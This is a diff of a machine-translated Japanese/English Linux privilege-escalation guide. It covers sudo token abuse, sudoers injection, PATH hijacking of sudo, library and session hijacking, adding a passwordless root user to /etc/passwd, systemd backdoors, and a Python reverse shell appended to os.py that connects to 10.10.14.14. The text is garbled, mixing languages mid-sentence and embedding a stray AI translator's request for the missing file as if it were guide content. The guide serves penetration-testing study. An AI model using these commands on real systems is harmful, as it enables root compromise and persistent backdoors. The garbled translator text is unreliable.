already have a shell as user "_sampleuser_" +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 - `gdb` is accessible (you can be able to upload it) (You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) @@ -994,32 +1022,32 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ に setuid が設定された root 所有の sh シェルを作成します +- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ に sh シェルを作成し、**root 所有で setuid が付与されます** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化し、すべてのユーザーが sudo を使用できるようにします** +- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化して全ユーザーが sudo を使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -フォルダ自体、またはフォルダ内に作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) を使用して**ユーザーとPIDのsudo tokenを作成**できます。\ -例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザーとして PID 1234 のシェルを持っている場合、パスワードを知らなくても以下を実行することで**sudo 権限を取得**できます: +フォルダまたはフォルダ内に作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) を使用して、**create a sudo token for a user and PID** できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザーとして PID 1234 の shell を持っている場合、パスワードを知らなくても **obtain sudo privileges** することができます。次のように実行します: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、またその方法を設定します。これらのファイルは**デフォルトではユーザー root とグループ root のみが読み取り可能です**。\ -**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる可能性があります**。また、任意のファイルに**書き込み**ができれば、**escalate privileges** することができます。 +ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるか、そしてどのように使えるかを設定します。これらのファイルは**デフォルトではユーザー root とグループ root のみが読み取り可能**です。\ +**もし** このファイルを**読む**ことができれば、いくつかの興味深い情報を**得られる**かもしれません。さらに、任意のファイルに**書き込み**できれば、**escalate privileges** することができます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込みができるなら、この権限を悪用できます。 +write ができれば、この権限を悪用できます ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1033,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD向けの`doas`など、`sudo`バイナリの代替がいくつかあります。設定は`/etc/doas.conf`で確認することを忘れないでください。 +sudo バイナリの代替として、OpenBSD の `doas` などがあります。設定は `/etc/doas.conf` で確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -あるユーザが通常マシンに接続して `sudo` を使って権限昇格することが分かっていて、そのユーザコンテキスト内でシェルを取得している場合、**新しい sudo 実行ファイルを作成**して root としてあなたのコードを実行し、その後にユーザのコマンドを実行させることができます。次に、ユーザコンテキストの **$PATH を変更**(例えば .bash_profile に新しいパスを追加するなど)すると、ユーザが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 +もし**ユーザーが通常マシンに接続して `sudo` を使用して権限昇格する**ことが分かっていて、かつそのユーザーコンテキスト内でシェルを得ている場合、あなたは**新しい sudo 実行ファイルを作成**して、まずあなたのコードを root として実行し、その後にユーザーのコマンドを実行させることができます。その後、ユーザーコンテキストの **$PATH** を変更(例えば新しいパスを .bash_profile に追加)しておけば、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 -ユーザが別のシェル(bash 以外)を使っている場合は、新しいパスを追加するために別のファイルを修正する必要がある点に注意してください。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 +ユーザーが別のシェル(bash ではない)を使っている場合は、新しいパスを追加するために別のファイルを修正する必要がある点に注意してください。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を修正します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります -あるいは次のように実行することもできます: +または次のようなコマンドを実行する: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/` に lib をコピーすると、`RPATH` 変数で指定されているとおり、プログラムはこの場所の lib を使用します。 +`/var/tmp/flag15/` に lib をコピーすると、`RPATH` 変数で指定されているこの場所でプログラムにより使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1095,7 +1122,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に、`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を使って `/var/tmp` に悪意のあるライブラリを作成します。 +次に `/var/tmp` に悪意のあるライブラリを作成します: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1110,8 +1137,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities はプロセスに対して利用可能な root privileges の**サブセットを提供します**。これにより root の **privileges がより小さく識別可能な単位に分割され**、各単位を個別にプロセスへ付与できるようになります。こうして権限の全体量が減り、exploitation のリスクが低下します。\ -次のページを読んで、**capabilities とそれを悪用する方法について詳しく学んでください**: +Linux capabilities はプロセスに対して利用可能な root 権限の**サブセット**を提供します。これにより root の**権限をより小さく区別できる単位**に分割できます。これらの各単位は個別にプロセスへ付与可能です。こうして権限の全体量が減り、悪用のリスクが低下します。\ +次のページを読んで、**capabilities とその悪用方法**について詳しく学んでください: {{#ref}} @@ -1120,14 +1147,14 @@ linux-capabilities.md ## Directory permissions -ディレクトリでは、**"execute"** ビットは該当ユーザーがフォルダに "**cd**" できることを意味します。\ -**"read"** ビットはユーザーがファイルを **list** できることを意味し、**"write"** ビットはファイルを **delete** したり新しいファイルを **create** できることを意味します。 +ディレクトリでは、**bit for "execute"** は対象ユーザーが **"cd"** できることを意味します。\ +**"read"** ビットはユーザーが**ファイルを一覧表示**できることを意味し、**"write"** ビットはユーザーが**ファイルを削除および新規作成**できることを意味します。 ## ACLs -Access Control Lists (ACLs) は任意の権限の第二レイヤーを表し、従来の ugo/rwx 権限を**上書きできる**ことがあります。これらの権限は、所有者でもグループでもない特定のユーザーに対してアクセスを許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**細分化により、より正確なアクセス管理が可能**になります。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 +Access Control Lists (ACLs) は、従来の ugo/rwx 権限を**上書きできる**二次的な任意権限レイヤーを表します。これらの権限は、所有者やグループの一員でない特定ユーザーに対してアクセスを許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**粒度によりより正確なアクセス管理が可能になります**。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 -**Give** user "kali" read and write permissions over a file: +**Give** user "kali" にファイルの読み取りおよび書き込み権限を付与する: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1138,21 +1165,21 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## shell セッションを開く +## shellセッションを開く -**古いバージョン**では、別のユーザー(**root**)の**shell**セッションを**hijack**できることがあります。\ -**最新のバージョン**では、**自分のユーザー**のscreenセッションにのみ**接続**できるようになっています。しかし、**セッション内の興味深い情報**が見つかることがあります。 +**古いバージョン**では、ある別のユーザー(**root**)の**shell**セッションを**hijack**できることがあります。\ +**最新のバージョン**では、**自分のユーザー**のscreenセッションにのみ**connect**できるようになります。とはいえ、**セッション内の興味深い情報**を見つけることがあるかもしれません。 -### screen セッション hijacking +### screen sessions hijacking -**screen セッションを一覧表示** +**screen sessions を一覧表示** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**セッションにアタッチする** +**セッションにアタッチ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1160,9 +1187,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -これは **古い tmux バージョン** による問題でした。非特権ユーザーとして、root によって作成された tmux (v2.1) セッションをhijackすることはできませんでした。 +これは **古い tmux バージョン** の問題でした。非特権ユーザーとして、root によって作成された tmux (v2.1) session を hijack できませんでした。 -**tmux セッションを一覧表示する** +**tmux sessions を一覧表示** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1170,7 +1197,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**セッションに接続する** +**セッションにアタッチする** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1180,51 +1207,51 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +例として **Valentine box from HTB** を確認してください。 ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間にDebian系システム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーはこのバグの影響を受ける可能性があります。\ -このバグはそれらのOSで新しい ssh キーを作成したときに発生します。**考えられる変種は32,768通りしかなかった**ためです。つまり全ての可能性を計算でき、**ssh public key を持っていれば対応する private key を検索できる**ということです。計算された候補は次で見つけられます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間に Debian 系システム(Ubuntu、Kubuntu など)で生成されたすべての SSL および SSH キーはこのバグの影響を受ける可能性があります.\\ +このバグはこれらの OS 上で新しい ssh キーを作成した際に発生します。なぜなら **可能な組み合わせはわずか 32,768 通りしかなかった** からです。つまり、全ての可能性を計算でき、**ssh の公開鍵を持っていれば対応する秘密鍵を探すことができる**ということです。計算された候補はここで見つけられます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 -- **PubkeyAuthentication:** public key authentication が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: パスワード認証が許可されている場合に、サーバーが空のパスワード文字列のアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 +- **PasswordAuthentication:** パスワード認証が許可されているかを指定します。デフォルトは `no` です。 +- **PubkeyAuthentication:** 公開鍵認証が許可されているかを指定します。デフォルトは `yes` です。 +- **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列のアカウントへのログインを許可するかを指定します。デフォルトは `no` です。 ### PermitRootLogin -ssh を使って root がログインできるかどうかを指定します。デフォルトは `no`。可能な値: +root が ssh でログインできるかを指定します。デフォルトは `no` です。可能な値: -- `yes`: root はパスワードおよび private key を使用してログインできます -- `without-password` or `prohibit-password`: root は private key のみでログインできます -- `forced-commands-only`: root は private key を使用し、かつコマンドオプションが指定されている場合にのみログインできます -- `no`: ログイン不可 +- `yes`: root はパスワードおよび秘密鍵でログインできます +- `without-password` or `prohibit-password`: root は秘密鍵でのみログインできます +- `forced-commands-only`: root は秘密鍵でのみログインでき、かつコマンドオプションが指定されている場合に限ります +- `no` : 許可しない ### AuthorizedKeysFile -ユーザー認証に使える public keys を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば: +ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パスを指定することもできます**(`/` で始まる)または**ユーザーのホームからの相対パス**。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、**private** key を使ってユーザー「**testusername**」でログインしようとすると、ssh があなたのキーの public key を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にあるものと比較することを示します。 +その設定は、ユーザー「**testusername**」の**private**キーでログインしようとした場合、ssh はあなたのキーの公開鍵を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にある公開鍵と比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding により、サーバー上に(without passphrases!)鍵を置いたままにする代わりに、**use your local SSH keys instead of leaving keys** ことができます。つまり、ssh を介して **jump** し **to a host** に接続し、そこから **jump to another** ホストへ移動する際に、**using** **key** が **initial host** に配置されているものを使用できます。 +SSH agent forwarding は、サーバーに鍵を置いたままにする代わりに **use your local SSH keys instead of leaving keys**(パスフレーズなしで!)ことを可能にします。つまり、ssh 経由で **jump** **to a host** し、そこから **jump to another** host に移動して、**initial host** にある **key** を **using** して接続することができます。 -このオプションは `$HOME/.ssh.config` に次のように設定する必要があります: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +ファイル `/etc/ssh_config` はこの**オプション**を**上書き**して、この設定を許可または拒否できます。\ +ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` で ssh-agent forwarding を**許可**または**拒否**できます(デフォルトは許可)。 If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: @@ -1233,51 +1260,50 @@ If you find that Forward Agent is configured in an environment read the followin ssh-forward-agent-exploitation.md {{#endref}} -## 興味深いファイル +## 注目ファイル ### プロファイルファイル -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +ファイル `/etc/profile` および `/etc/profile.d/` 以下のファイルは、ユーザーが新しいシェルを起動したときに実行される**スクリプト**です。したがって、これらのいずれかに**書き込みまたは変更ができる場合、権限を昇格させることができます**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -もし怪しいプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認してください。 +もし不審な profile script が見つかった場合は、**機密情報**が含まれていないか確認してください。 -### Passwd/Shadow ファイル +### Passwd/Shadow Files -OS によっては `/etc/passwd` と `/etc/shadow` が別名だったり、バックアップが存在することがあります。したがって、**それらをすべて見つけ出し**、**読み取れるか確認して**ファイル内に**ハッシュが含まれているか**を確認することをお勧めします: +OSによっては`/etc/passwd`および`/etc/shadow`ファイルが別名になっているか、バックアップが存在することがあります。したがって、**すべてを見つけ出し**、**読み取れるか確認して**、ファイル内に**hashes**が含まれているかを確認することをおすすめします: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、`/etc/passwd`(または同等のファイル)内で**password hashes**を見つけることがあります。 +場合によっては、**password hashes** を `/etc/passwd`(または同等のファイル)内で見つけることがあります。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### 書き込み可能な /etc/passwd +### /etc/passwd が書き込み可能 -まず、次のコマンドのいずれかでパスワードを生成します。 +まず、次のコマンドのいずれかで password を生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -README.md の翻訳を行いますが、元のファイル内容を送ってください。翻訳後にユーザー `hacker` を追加し、生成したパスワードを記載します。 +I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md text you want translated (or give a link to it). -確認事項を教えてください: -- パスワードはこちらで生成してよいですか?(はい/いいえ) -- 生成する場合、長さと使用する文字種(例:英数字のみ、記号含む)を指定してください。 -- `hacker` をどの位置に追加しますか?(ファイル末尾、特定のセクション名、など) +Also clarify how you want the "add the user `hacker` and add the generated password" inserted: +- Should it be a single sentence/line in the README, or a code block with commands? +- Do you want me to generate a secure password now? If so, specify length and whether to include symbols, or I can pick a strong default. -ファイル内容と上の回答をいただければ翻訳して所定箇所にユーザー情報を追加します。 +Once you provide the file (and confirm password preferences), I'll translate the relevant English to Japanese, keep markdown/html/tags/paths untouched, and add the user line with the generated password as requested. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドで `hacker:hacker` を使えます。 +これで `su` コマンドで `hacker:hacker` を使用できます。 あるいは、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ 警告: マシンの現在のセキュリティが低下する可能性があります。 @@ -1285,14 +1311,14 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 +注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -いくつかの**機密ファイルに書き込みができるか**確認するべきです。例えば、いくつかの**サービス構成ファイル**に書き込みできますか? +**いくつかの機密ファイルに書き込めるかどうか**を確認してください。例えば、ある **サービスの設定ファイル** に書き込みできますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが **tomcat** サーバーを稼働していて、**modify the Tomcat service configuration file inside /etc/systemd/,** を変更できる場合、次の行を変更できます: +例えば、マシンが **tomcat** サーバを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイルを変更できる** 場合、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root @@ -1300,13 +1326,13 @@ Group=root ``` Your backdoor will be executed the next time that tomcat is started. -### フォルダの確認 +### フォルダを確認 -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読み取れないでしょうが、試してみてください) +次のフォルダにはバックアップや有用な情報が含まれている場合があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものにはアクセスできないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇妙な場所/Owned ファイル +### 奇妙な場所/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1323,7 +1349,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 直近数分で変更されたファイル +### 直近の数分で変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1344,7 +1370,7 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **ウェブファイル** +### **Webファイル** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1355,20 +1381,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### passwords を含む既知のファイル +### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読むと、**passwords を含む可能性がある複数のファイル** を検索していることがわかります。\ -**もう一つの興味深いツール** は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows、Linux & Mac のローカルコンピュータに保存された大量の passwords を取得するためのオープンソースのアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでみてください。これは **パスワードを含む可能性のあるいくつかのファイル** を検索します。\ +そのために使用できる**もう1つの興味深いツール**は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows, Linux & Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 -### ログ +### Logs -ログを読むことができれば、**その中に興味深い/機密情報が見つかることがあります**。ログが奇妙であればあるほど、それだけ興味深い可能性が高いです(おそらく)。\ -また、一部の「**bad**」に設定された(バックドアが仕込まれている?)**audit logs** は、**audit logs** 内に **passwords** を記録することを可能にする場合があります。詳しくはこの投稿を参照してください: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +If you can read logs, you may be able to find **興味深い/機密情報が含まれている** 可能性があります。The more strange the log is, the more interesting it will be (probably).\ +また、いくつかの**"bad"**に構成された(backdoored?)**audit logs** は、投稿で説明されているように、audit logs の中にパスワードを**記録する**ことを許す場合があります: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -ログを読むには、**ログ閲覧用のグループ** [**adm**](interesting-groups-linux-pe/index.html#adm-group) が非常に役に立ちます。 +**ログを読むために** [**adm**](interesting-groups-linux-pe/index.html#adm-group) は非常に役立ちます。 ### シェルファイル ```bash @@ -1383,41 +1409,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイル名やファイルの中身に "**password**" という語を含むファイルを確認し、ログ内の IP や emails、あるいは hashes regexps もチェックしてください。\ -ここでこれらすべてをどう実行するかを列挙するつもりはありませんが、興味があれば [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最新のチェックを確認してください。 +ファイル名やファイルの**content**の中に「**password**」という単語が含まれているファイル、またlogs内のIPsやemails、あるいはhashes regexpsも確認してください。\ +ここでそれらすべてのやり方を列挙するつもりはありませんが、興味があれば[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認してください。 ## 書き込み可能なファイル ### Python library hijacking -もしどの場所で(**where**)python スクリプトが実行されるか分かっていて、そのフォルダに **書き込み可能**(**can write inside**)であるか、あるいは **python ライブラリを変更できる**(**modify python libraries**)のであれば、OS ライブラリを改変して backdoor を仕込むことができます(python スクリプトが実行される場所に書き込みできるなら、os.py ライブラリをコピーして貼り付ければよい)。 +pythonスクリプトが**どこから**実行されるかが分かっていて、そのフォルダに**書き込みできる**か、または**python librariesを変更できる**場合、OSライブラリを改変してバックドアを仕込むことができます(pythonスクリプトが実行される場所に書き込みできるなら、os.pyライブラリをコピーして貼り付けてください)。 -ライブラリに **backdoor the library** を仕込むには、os.py ライブラリの末尾に以下の行を追加してください(IP と PORT を変更してください): +ライブラリに**バックドアを仕込む**には、os.pyライブラリの末尾に次の行を追加してください(IPとPORTを変更): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate の悪用 +### Logrotate の脆弱性の悪用 -`logrotate` に存在する脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが権限昇格できる可能性があります。これは `logrotate` が多くの場合 **root** として実行されており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するように操作できるためです。権限は _/var/log_ だけでなくログローテーションが適用されるすべてのディレクトリで確認することが重要です。 +`logrotate` の脆弱性により、ログファイルまたはその親ディレクトリに対して **書き込み権限** を持つユーザーが特権昇格を引き起こす可能性があります。これは `logrotate` がしばしば **root** として動作しており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するように操作できるためです。チェックすべきは _/var/log_ だけでなく、ログローテーションが適用される任意のディレクトリの権限も確認することです。 > [!TIP] -> この脆弱性は `logrotate` バージョン `3.18.0` およびそれ以前に影響します +> この脆弱性は `logrotate` バージョン `3.18.0` 以下に影響します -脆弱性の詳細は次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +脆弱性の詳細は次のページにあります: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 -この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** に非常によく似ているため、ログを変更できることが判明した場合は、誰がそれらのログを管理しているかを確認し、ログをシンボリックリンクに置き換えて権限昇格できないか確認してください。 +この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** に非常に類似しています。ログを改変できることが分かったら、そのログを誰が管理しているかを確認し、ログを symlink に置き換えて特権昇格できないかを調べてください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +何らかの理由でユーザーが `ifcf-` スクリプトを _/etc/sysconfig/network-scripts_ に **書き込める** か、既存のスクリプトを **調整できる** 場合、あなたのシステムは pwned です。 -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Network scripts(例: _ifcg-eth0_)はネットワーク接続に使われます。見た目はまさに .INI ファイルそのものです。ただし、Linux では Network Manager (dispatcher.d) によって \~sourced\~ されます。 -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +私のケースでは、これらの network スクリプト内の `NAME=` に設定された値が正しく処理されていません。名前に空白が含まれていると、システムは空白以降の部分を実行しようとします。つまり、最初の空白以降のすべてが root として実行されます。 例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1425,15 +1451,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(注: Network と /bin/id_ の間に空白があります) +(_Network と /bin/id の間に空白があることに注意_) ### **init, init.d, systemd, and rc.d** -ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれており、これらは直接実行するか `/etc/rc?.d/` にあるシンボリックリンクを介して実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使用されます。 +ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所で、従来の Linux サービス管理システムです。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` があります。 -一方、`/etc/init` は Ubuntu 